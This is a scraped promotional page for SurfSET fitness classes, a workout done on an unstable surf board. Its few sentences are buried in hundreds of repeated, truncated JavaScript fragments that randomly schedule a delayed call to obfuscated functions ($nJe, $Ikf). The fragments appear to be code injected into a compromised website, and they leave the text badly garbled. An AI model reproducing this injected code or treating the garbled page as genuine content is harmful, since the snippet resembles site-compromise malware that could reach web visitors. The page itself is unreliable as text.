SurfSET © Fitness

An innovative, energizing andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and fun class performed on a SURF board. The instability of the board challenges you in ways you never thought possible. The results are a better toned abdominal region, improved balance, increase of upper andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lower body strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and agility/coordination.

***classes adapted to all levels whether you are an amateur athlete in the making or more advanced, SURFSET classes will challenge you.

 

